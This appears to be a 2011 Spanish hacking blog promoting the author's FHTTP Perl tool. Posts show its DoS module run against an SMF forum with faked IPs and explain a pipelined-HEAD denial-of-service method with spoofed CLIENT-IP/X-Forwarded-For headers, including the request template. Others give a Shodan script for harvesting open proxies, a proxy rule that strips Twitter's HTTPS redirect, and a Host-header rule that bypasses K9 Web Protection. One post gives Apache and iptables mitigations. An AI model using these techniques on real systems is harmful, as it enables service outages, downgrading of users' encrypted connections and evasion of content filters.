perl mn.pl http://localhost:8080/SMF/?{mn-fakeip} 8 100 190.10.101.1

y listo pasado el parche xD (en ese caso son 8 conexiones, no las 10 que nos permite, pero en fin incluso con eso en muchos casos basta :P).

Pero si tengo que reconocer que no tiene el mismo potencial que tendría sin el parche, pero igual funciona (parcialmente) xD...

Saludos! y a esperar que el amigo NataShell saque otro parche :P.

FHTTP + Shodan = Proxy List :P

2011-08-23T14:00:00.002-05:00

Cazando proxy list con Shodan y FHTTP

Primero necesitamos agregar el soporte para shodan:

https://sourceforge.net/projects/fhttp/files/Extra/

se bajan los modulos en la carpeta del FHTTP y esa es toda la instalacion.

Tambien tenemos un ejemplo usando ese modulo:

http://sourceforge.net/projects/fhttp/files/Extra/Examples%20-%20Shodan/finder.pl/download

Vamos a usar ese script.
Pero antes vamos a explicar un poco el funcionamiento, no del modulo de shodan, del script.

Inicializamos:

my $shodan = shodan->new();

$shodan->login($user,$password);

como tal no es necesario logearse, pero lo hacemos para que de mas resultados (mas de 1 pagina).

y buscamos:

my @tmpenlaces = $shodan->buscar($busqueda,$page);

$page es el numero de pagina que queremos que nos retorne.

($proto,$host,$hostheader,$path,$puerto) = &tools::parseurl($enlace);

$sock = IO::Socket::INET->new(PeerAddr => $host,

	PeerPort => $puerto,

	Timeout => 1,

	Proto => 'tcp');

if(!$sock) {

	$i = 2;

	$down++;

	next;

}

Parseamos los enlaces y armamos un socket, en caso de que falle lo registramos como "caido".

$maketunnel = tools::maketunnel($sock,$hosttest,$porttest,0,0);

Nota: los dos ultimos valores son: debug (0 o 1) y version (version de HTTP)

Intentamos crear un tunnel HTTP (mediante "CONNECT"), tools lo hace todo automatico para nosotros ;)... $maketunnel sera 1 si se creo correctamente, 0 si no y 2 si hay un 404 (que esta tomando CONNECT como GET y puede ser un honneypot :P).

De otro modo cerramos el socket, no nos sirve bajarnos a ese nivel para probar un proxy normal.

$paquete = http->new("GET","http://".$hosttest.(($puerto != 80 ) ? (":".$puerto) : "")."/","1.1");

$paquete->agregarencabezados(0,@encabezados);

my %resp = $paquete->enviar($host,$puerto);

Usamos el generador de peticiones (http.pm) y finalmente lo demas es cosa de checar los encabezados/contenido y determinar si el proxy hizo la conexion correctamente (para eso se usa el argumento regex).

Ahora a jugar...

linux-7nli:/home/xianur0/fhttp-v1.3 # perl finder.pl squid "" "" google.com 80 Google

Comprobando dependencias...

Felicidades: FHTTP funcionando al 100%!

Tunnel: google.com:80

Target: 9

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 209.xxx.1x1.xxx:xx

[x] No se puede crear el tunnel: HTTP/1.0 400 Bad Request!

[x] No se puede crear el tunnel: HTTP/1.0 400 Bad Request!

[!] Proxy HTTP: 222.xxx.1x1.xxx:xxx

[x] No se puede crear el tunnel: HTTP/1.1 501 Not Implemented!

[x] No se puede crear el tunnel: HTTP/1.1 501 Not Implemented!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 189.xxx.x68.xxx:xxx

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 186.xxx.2x2.xxx:xxx

[x] No se puede crear el tunnel: HTTP/1.0 407 Proxy Authentication Required!

[x] No se puede crear el tunnel: HTTP/1.0 407 Proxy Authentication Required!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 203.xxx.1x9.xxx:xxx

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 202.xxx.17x.xxx:xxx

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[x] No se puede crear el tunnel: HTTP/1.0 403 Forbidden!

[!] Proxy HTTP: 186.xxx.15x.xxx:xxx

Down: 1

Honeypot: 0

CONNECT: 0

Others: 7

FHTTP Cheat Codes

2011-08-15T20:48:00.003-05:00

Para los que no estén enterados hoy agregamos soporte multi-idioma a #FHTTP la cual pueden encontrar en el sourceforge oficial: FHTTP.

my @cheats = ("--proxy","--tunnel-http","--proxy-list","--crlf-req","--crlf-res","--verbose","--lang");

Bueno ahí están los "Cheat Codes", vamos desde lo simple a lo complicado:

--crlf-res=CRLF - En este podemos especificar los caracteres que se van a usar en lugar del CRLF en las respuestas del proxy al navegador (por ejemplo: CR sin LF, LF sin CR o LF+CR).
--crlf-req=CRLF - Lo mismo que el de arriba pero en los request's.
--proxy=ip:puerto - El proxy o primer nodo del encadenamiento a usar.
--proxy-list=archivo.txt - El proxy list (solo útil en encadenamientos).
--tunnel-http=1 - Al darle el valor de 1 va a intentar crear encadenamiento (si hay proxy list) o un tunnel simple (usando el valor de --proxy) mediante el metodo CONNECT de modo que es requerido que los nodos especificados soporten CONNECT (y los puertos a usar), otra cosa que hay que tener en cuenta es que se requiere especifica --proxy al realizar encadenamientos es decir, el valor de dicho "cheat code" se utilizara como el primer nodo del encadenamiento y el resto se tomara del proxy-list.
--lang=en - Le decimos que establezca por defecto el idioma en (ingles) o es (español), para agregar mas lenguajes tienen que editar dic.pm (en la versión multi-idioma).
--verbose=0 - Establecemos el modo verboso (solo valido por el momento en el modulo de proxy) en 0, de momento los valores soportados son: 0-3.

Otros "cheat codes" sirven para desactivar o "forzar activar" ciertos módulos del interprete, por ejemplo trabajar sin Gtk2 o sin IO::Socket::SSL o incluso sin soporte para compresiones.

Ejemplo:
perl fhttp.pl no-Gtk2 --lang=en

Por otro lado para volver a activar se quita el no.

perl fhttp.pl Gtk2

Estos últimos cheat's no llevan el "--" y son "recursivos" es decir solo basta agregarlos 1 vez como argumento y se guardara en "config.fhttp" y se usara para la siguiente "ejecución".

Todos estos argumentos se deberán usar después de los argumentos que se le pasan al modulo a usar por ejemplo:

perl fhttp.pl 0 http://google.com.mx/ 0 --lang=en

Dudas o comentarios: xianur0.null[at] gmail.com

Saludos!

FHTTP Hacking - Cap 1

2011-08-15T19:33:00.002-05:00

Hey creo que comenzare a necesitar alguien que ayude a traducir las publicaciones por que de ahora en adelante van a ser bastantes y la idea es tener un publico "global" xD...

Vamos a comenzar a tirar algunas ideas un poco extrañas pero que en la practica pueden ser de utilidad.

Convirtiendo la FHTTP en un link spider.

Para que un link-spider? la duda surge... no ya enserio un link spider que pueda ir junto con la navegación del "usuario" (no nos complicaremos con términos xD) puede ser algo interesante, es decir si tienes todo lo que se esta enviando al navegador del usuario no tienes que preocuparte tanto por un armar un sistema que se encargue de desarmar la web como la leería el navegador, es decir si nosotros nos topamos con una web que utiliza ajax para cargar las paginas... o peor aun al weybmaster se le dio por armarla en flash :S... es difícil que un spider común extraiga los enlaces... pero si lo combinamos con un proxy, de un modo u otro vamos a pescar los enlaces que se vayan a cargar :D...

Antes de continuar es recomendable que previamente conocieran el motor avanzado del proxy

Comenzamos:

La FHTTP tiene algunas opciones muy curiosas entre las que se encuentra un simple script para extraer los enlaces, entre las ventajas que tiene dicho script es que corrige path transversal y otras trampas usadas para "saltar" los link spiders, en caso de que eso no sea suficiente pueden editarlo manualmente :P.

sub geturls($html,$proto,$host,$path);

Ese es el "proto" de dicha función, pero realmente nada mas es necesario pasar html, lo demás se usa para auto-completar url's (relativas) y obtener las completas.

Vamos a lo simple:

sub spider {

my $rcontenido = $_[0];

my $paqenvio = $_[1];

my %links = tools::geturls($rcontenido);

while(my ($link,$veces) = each(%links)) {

open LOG, ">reportes.txt";

print LOG $links."\n";

close(LOG);

}

return $rcontenido;

}

Pero si no nos gusta tener solo las url's relativas... podemos jugar un poco mas:

sub spider {

my $rcontenido = $_[0];

my $paqenvio = $_[1];

my @lineas = split(/[\r\n]+/,$paqenvio); # $lineas[0] = req line

my ($method,$url,$version) = split(/\s+/,$lineas[0]);

my ($proto,$host,$hostheader,$path,$puerto) = tools::parseurl($url);

my %links = tools::geturls($rcontenido,$proto,$hostheader,$path);

while(my ($link,$veces) = each(%links)) {

	open LOG, ">reportes.txt";

	print LOG $links."\n";

	close(LOG);

}

return $rcontenido;

}

Pero... aun no siento que sea un spider completo... digo ya extrae los links... pero que hay de las imágenes?

Como saber cuando el navegador esta cargando una imagen y no un enlace?... la forma mas fácil sería tomarla del código fuente como hacemos con los enlaces o no?... pero no quiero, quiero atrapar las imágenes al vuelo :P, siendo un poco mas claro atrapar la consulta a la imagen, no el html que tiene el enlace a la imagen, el por que?, como dije al inicio las webs no siempre van a estar en simple html, también se puede integrar ajax (JS xD) o flash que va a hacer la labor de cargar las imágenes pero sin que nosotros podamos ver en plano la dirección en el código fuente (html) por ello vamos a hacer un pequeño "hack" (por así llamarle) al funcionamiento del navegador, como distinguimos un request a un archivo de texto/html de otro a una imagen?.

Accept: image/*

Al leer ese encabezado con dicho valor... queda bastante claro que la prioridad del navegador es bajar una imagen, desde luego el valor puede variar pero casi siempre comienza de esa forma (image/).

	

sub spider {

my $rcontenido = $_[0];

my $paqenvio = $_[1];

my @lineas = split(/[\r\n]+/,$paqenvio);

	if($paqenvio =~ /[\r\n]+Accept: image\//i) { # buscamos el header

		my ($url) = ($lineas[0] =~ /^\w+([\s\t]+)([^\s\t]+)/); #extraemos la url

		foreach $header (@lineas) { # recorremos los headers

			if(($header =~ /Host:\s+([^\r\n]+)/)) { #buscamos el header host y su valor :P

				$host = $1;

				last;

			}

		}

		if($url !~ /^http/) { # en caso de que no sea una url completa, agregamos lo que falta

			$url = "http://".$host.(($url !~ /^\//) ? "/" : "").$url;

		}

		open IMAGENES,">>imagenes.txt"; # abrimos el log

		print IMAGENES $url."\n"; # guardamos

		close(IMAGENES); # cerramos

	}

return $rcontenido;

}

Desde luego nos falta conectar nuestra función a la FHTTP, tan simple como:

my @rcontenidocallbacks = (

                           rcontenidocall,

                           spider,

                       );

Happy Hacks!

FHTTP MN != Slowloris

2011-08-08T21:42:00.002-05:00

Últimamente me preguntan mucho si el modulo MN (DoS Tool) de la FHTTP es lo mismo que Slowloris... y no, no es así xD...

Como funciona Slowloris?

Esta herramienta (desarrollada por RSnake) traba de la siguiente forma:
Cliente -> Servidor (Establece la conexión).
Cliente -> Servidor (Envía parte del encabezado)
Ejemplo:
GET / HTTP/1.1
Host: google.com
x-a: 1
(Espera cierto tiempo y continua)
x-a1: 2
(Espera cierto tiempo y continua)
x-b2: 7
(etc...)

Es decir el servidor esta recibiendo de forma parcial el request, por lo cual se mantiene activa la conexión, slowloris en este caso lo que tiene que hacer es crear múltiples conexiones y hacer lo mismo, de modo que se satura el servidor (tendrá muchas conexiones activas al mismo tiempo).

Desventajas:
Al enviar contenido parcial no es muy factible usar un Proxy HTTP convencional para "esconder" (es decir hacer ligeramente mas difícil que nos localicen xD), debido a que muchos (proxy's) intentan leer todo el request (hasta recibir doble LF/CRLF) de modo que al no terminar de recibir no establece la conexión con el servidor y nuestro ataque se queda en el proxy, y bien pueden DoSear al proxy xD.
Solución: usar una VPN xD...
Ademas esta el hecho de que tu también mantienes un numero igual de conexiones a las que mantiene el servidor.

Como funciona MN?
Que pasa cuando enviamos un GET o un HEAD al servidor?
En el caso del HEAD:

HEAD / HTTP/1.1
Host: destino

HTTP/1.0 200 OK
Date: Tue, 09 Aug 2011 02:51:47 GMT
Server: Apache/2.2.8 (Unix) PHP/5.2.12
X-Powered-By: PHP/5.2.12
Set-Cookie: PHPSESSID=a3afdbf074f0d0ef7a6782962455468d; path=/
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Tue, 09 Aug 2011 02:51:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: close

Me viene a la mente... y esa cookie?, obviamente no la genero apache, es decir es una "session" PHP, por lo cual quiere decir que PHP esta trabajando al hacer el HEAD... pero no se genera de forma autónoma, por lógica la genero el index, en otras palabras se esta procesando el index (todo para generar los headers), lo cual quiere decir que si no queremos que el servidor nos responda todo el contenido (no gastar nuestra banda) pero que aun así procese el archivo únicamente tenemos que enviar HEAD's.

Pero eso nos basta para denegar un servidor?, lamento decirles que no xD...

Conexiones Persistentes y Pipelining:

Que es exactamente conexiones persistentes?
una conexión persistente o keep-alive quiere decir que podemos realizar varios request en la misma conexión sin cerrarla y volver a establecerla.

Que significa Pipelining?
Significa que podemos enviar múltiples request "concatenados" sin esperar que el servidor nos responda previamente.
Ejemplo:

GET / HTTP/1.1
Host: google.com

GET / HTTP/1.1
Host: google.com

HTTP/1.1 301 Moved Permanently
[...]

HTTP/1.1 301 Moved Permanently
[...]

Como podrán notar nos respondió a las dos consultas que enviamos en el orden que las enviamos, pero después de que nosotros termináramos de enviar todas las consultas.

Lo que va haciendo es como vaya terminando de procesar nos va a enviar las respuestas... o no?, al menos eso debería pero por lo menos apache no lo hace... y no tengo tiempo de listar todos los demás servidores que no lo hacen :P.
A que nos lleva esto?
Enviamos una serie de request concatenados por una sola conexión (pipelining), pero cortamos la conexión antes de que nos termine de responder el servidor.
O bien podemos enviar masivo los paquetes y ver cuantos nos llegan xD...
Pero eso no es todo ;)...
Que le pasa a apache cuando recibe cierto numero de consultas?, despliega hilos, es decir hilos listos para procesar las consultas... pero si el usuario solo realizo una conexión pero envió... digamos 300 consultas... que le pasara a apache? lo que tenemos es que el mismo apache se ahoga en hilos :P

Ah se me pasaba, no es solo cuestión de apache, funciona igual con IIS y una infinidad de servidores web mas... a decir verdad nunca me he encontrado con un servidor que no sea vulnerable... por lo que esto es un problema bastante grave :P...
Como podemos hacer aun mas grande el dolor de cabeza del administrador?
Combinando el potencial :D...

Fastidiando un poco mas:

HEAD /$file HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0
CLIENT-IP: $ipinicial
X-Forwarded-For: $ipinicial
If-None-Match: ThisWebSuck!-Todo-dicho! xD
If-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT
Accept: */*
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Content-Length: 0
Connection: Keep-Alive

Primero se resalta el uso de los encabezados CLIENT-IP y X-Forwarded-For, lo cuales en una infinidad de CMS's se toman como la "verdadera ip" del visitante, por lo cual se usan en muchas consultas a base de datos, en el caso de Joomla y SMF es sorprendente la cantidad de consultas adicionales que se realizan a base de datos cuando el valor de CLIENT-IP/X-Forwarded-For cambia :P... ademas de que al registrar las IP's de los visitantes se generan registros extra.
También podemos ver encabezados para fastidiar un poco a la cache...
y Accept-Encoding: gzip,deflate, el cual lo agregue con la idea de forzar un poco mas al servidor, que pasa cuando enviamos un request al servidor sin dicho encabezado?, ignora la compresión (normalmente) lo cual son menos recursos (procesamiento) del servidor consumidos, al agregar dicho encabezado el servidor debería realizar la compresión... pero espera... que no usamos HEAD?, Para que comprimir lo que no se va a enviar?, para gastar recursos obviamente :P...

Bueno ahora les agradecería no volvieran a preguntar si MN es lo mismo que Slowloris gracias :P...

Saludos!

FHTTP v1.3 Liberada

2011-08-07T18:30:00.003-05:00

Por fin les puedo decir que me complazco en anunciar la versión 1.3 de esta herramienta :P
Esta vez si es funcional xD...

Cambios (mayores):
* Se corrigieron bugs de manejo del url encode en el proxy (se realizaba decode de forma innecesaria).
* Se re-diseño por completo el motor del proxy para acelerar su funcionamiento.
* Se agregaron reglas.
* Se eliminaron fugas de memoria (no se cerraban a tiempo las conexiones entre otras cosas).
* Funciona en cualquier plataforma con Perl (tiene la capacidad de trabajar aunque no tenga todas las dependencias, es decir trabaja adaptándose a lo que se tiene).
* Se agregaron muchas funciones que en publicaciones siguientes comentare :P...

Créditos:
@LightOS (Roberto Salgado) por ayudarme como betatester a encontrar una infinidad de bugs :P.
@angelusniger (Angelus Inflectum) por aguantarnos en su casa (y alimentarnos cuando llegamos sin avisar) xD.
@lil_lilitu por prestarnos sus equipos para... casi romperlos haciendo pruebas xD...
Seguramente se me esta pasando agregar a muchas personas a la lista sin las cuales esta herramienta no sería lo que es. A todos ellos Gracias!

Descargar

Solución temporal contra FHTTP - Apache/2.x

2011-07-26T15:57:00.003-05:00

Les comparto la solución de mi amigo Marcos Ricardo Schejtman Rubio (CEO de Nekasys) para reducir el impacto que puede tener esa herramienta contra nuestros servidores:

Reglas del Apache::::

-------------------------------------------

LimitRequestBody 102400

LimitRequestFields 50

LimitRequestFieldSize 8190

LimitInternalRecursion 5

LimitRequestLine 8190

--------------------------------------------

Regla de ipTables:

-A INPUT -s IP_ADDRESS -p tcp -m tcp --dport 80 -m limit --limit 10/sec -j ACCEPT

Saludos!

Recomiendo visitar su web: http://nekasys.wordpress.com/

FHTTP (In)seguridad en http

2011-07-23T14:27:00.002-05:00

Bienvenidos esta es una presentación del buen Xianur0 desde Campus Party MX 2011

Video streaming by Ustream

Saludos Lectores

FHTTP V1.2 en OpenSuse

2011-05-21T12:46:00.002-05:00

Para los que siguen preguntando como ejecutar la FHTTP, aquí esta como instalar las dependencias en openSUSE 11.3:

(Obviamente como root)

cpan -i Gtk2
cpan -i Net::SSLeay
cpan -i IO::Socket::SSL
cpan -i IO::Uncompress::Inflate
cpan -i IO::Uncompress::Gunzip

y ya esta xD...

Bytez

Diseño de reglas para Proxy Evasor (FHTTP v1.2)

2011-05-18T16:59:00.004-05:00

Vamos a comenzar explicando que opciones nos da la FHTTP para "diseñar reglas" para el proxy evasor de la FHTTP v1.2.

Para comenzar tenemos 2 métodos:

reglas.txt
proxymodulos.pm

siendo la primera la forma mas "fácil" (requiere conocimientos de regex) y la segunda la opción avanzada (requiere conocimientos de programación en perl).

La estructura de reglas.txt es la siguiente:

donde: pattern => replacement <!-- comentario

Todo esto tiene que estar en una sola linea (sin saltos de linea)

"donde" sería que parte de la trama se editara, las opciones aceptadas son las siguientes:

url - La url de la consulta
reqline - La linea de consulta (por ejemplo: GET / HTTP/1.1).
header - Cada uno de los headers de forma individual (por ejemplo: Host: hackingtelevision.blogspot.com).
postdata - El Post data del envió (datos enviados en POST).
rheader - Todos los headers (incluyendo el reqline) de la respuesta pero no de forma individual.
rcontenido - Todo el contenido de la respuesta (obviamente excluyendo los headers)

el pattern es un regex de perl común y corriente con la diferencia de que si se usan tags html se tienen que cambiar por su respectivo valor en "html entitites", si se utilizan: \r o \n se tiene que agregar un escape adicional (\\r y \\n), esto es:
es diferente:

\r\n lo cual FHTTP convertiría en un CRLF real (y no para regex).
\\r\\n lo cual FHTTP convertiría en \r\n (y se utilizaría en el regex).

hay ligeras diferencias entre usar uno u otro xD...

El replacement al igual que en los regex clásicos de perl se pueden usar "grupos" por ejemplo:

reqline: ^GET(\s|\t)+ => POST $1 <!-- GET a POST

Se remplazaría por:

POST \t/ HTTP/1.1

(puesto que se utiliza una tabulacion en lugar de espacio).

Los pattern son case insensitive (insensible a mayusculas y minusculas).

Otro truco que podemos encontrar es en el "donde" por ejemplo:

rcontenido:nossl: window\.location\.replace\(([\s\\r\\n]*)"https:\/\/"([\s\\r\\n]*)\+([\s\\r\\n]*)window\.location\.hostname([\s\\r\\n]*)\+([\s\\r\\n]*)window\.location\.pathname([\s\\r\\n]*)\+([\s\\r\\n]*)window\.location\.hash([\s\\r\\n]*)\) => window.location.replace("http://"+window.location.hostname+window.location.pathname+"?&08dae2760be9fe48274a74c31fba5b0f"+window.location.hash) <!-- Twitter y otros :P

(regla para romper el "Solo HTTPS" de twitter xD...)

se esta usando el donde: "rcontenido:nossl" lo cual es solo se va a usar cuando este activado el "eliminar SSL".

Como verán es realmente fácil armar una regla para el proxy evasor de la FHTTP v1.2.

Ahora veremos rápidamente sobre el proxymodulos.pm.

sub uricall {
  my $uri = $_[0];
  $uri =~ s/^http:\/\/([\/]+)//g;
  $uri = "/".$uri if($uri !~ /^\//);
  return $uri;
}

Armada esta subrutina la agregamos al proxymodulos.pm y la agregamos a su respectiva "lista de callback" (@uricallbacks).

my @uricallbacks = (
                          uricall,
                      );

y listo, nuestra subrutina se ejecutara por cada uri (url).

De momento lo dejamos aqui, espero que les sea de utilidad y que próximamente veamos mas vídeos y papers publicados de mas usos de esta herramienta :P...

Bytez!

K9 Web Protection Bypass con FHTTP v1.2

2011-05-18T02:53:00.002-05:00

Regla para Bypass:

header: Host:([^\\r\\n]+) => Host:$1\r\nHost: 127.0.0.1:2372 <!-- K9 Bypass

Bytez!